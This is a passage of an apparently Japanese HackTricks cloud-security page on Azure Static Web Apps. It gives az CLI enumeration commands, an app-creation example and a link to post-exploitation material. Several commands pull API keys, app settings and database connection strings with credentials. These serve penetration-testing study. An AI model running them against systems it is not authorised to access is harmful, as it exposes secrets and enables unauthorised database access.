|
||||
"rewrite": "/index.html",
|
||||
"exclude": ["/api/*", "/assets/*"]
|
||||
}
|
||||
}
|
||||
```
|
||||
## 列挙
|
||||
```bash
|
||||
# List Static Webapps
|
||||
az staticwebapp list --output table
|
||||
|
||||
# Get Static Webapp details
|
||||
az staticwebapp show --name <name> --resource-group <res-group> --output table
|
||||
|
||||
# Get appsettings
|
||||
az staticwebapp appsettings list --name <name>
|
||||
|
||||
# Get env information
|
||||
az staticwebapp environment list --name <name>
|
||||
az staticwebapp environment functions --name <name>
|
||||
|
||||
# Get API key
|
||||
az staticwebapp secrets list --name <name>
|
||||
|
||||
# Get invited users
|
||||
az staticwebapp users list --name <name>
|
||||
|
||||
# Get database connections
|
||||
az rest --method GET \
|
||||
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/staticSites/<app-name>/databaseConnections?api-version=2021-03-01"
|
||||
|
||||
## Once you have the database connection name ("default" by default) you can get the connection string with the credentials
|
||||
az rest --method POST \
|
||||
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/staticSites/<app-name>/databaseConnections/default/show?api-version=2021-03-01"
|
||||
```
|
||||
## Webアプリを生成するための例
|
||||
|
||||
以下のリンクでウェブアプリを生成するための良い例を見つけることができます: [https://learn.microsoft.com/en-us/azure/static-web-apps/get-started-portal?tabs=react&pivots=github](https://learn.microsoft.com/en-us/azure/static-web-apps/get-started-portal?tabs=react&pivots=github)
|
||||
|
||||
1. リポジトリ https://github.com/staticwebdev/react-basic/generate をあなたのGitHubアカウントにフォークし、`my-first-static-web-app`と名付けます
|
||||
2. AzureポータルでStatic Web Appを作成し、GitHubアクセスを設定し、先にフォークした新しいリポジトリを選択します
|
||||
3. 作成し、数分待って、新しいページを確認してください!
|
||||
|
||||
## ポストエクスプロイテーション
|
||||
|
||||
{{#ref}}
|
||||
../az-privilege-escalation/az-static-web-apps-post-exploitation.md
|
||||
{{#endref}}
|
||||
|
||||
## 参考文献
|
||||
|
||||
- [https://learn.microsoft.com/en-in/azure/app-service/overview](https://learn.microsoft.com/en-in/azure/app-service/overview)
|
||||
- [https://learn.microsoft.com/en-us/azure/app-service/overview-hosting-plans](https://learn.microsoft.com/en-us/azure/app-service/overview-hosting-plans)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
Reference in New Issue
Block a user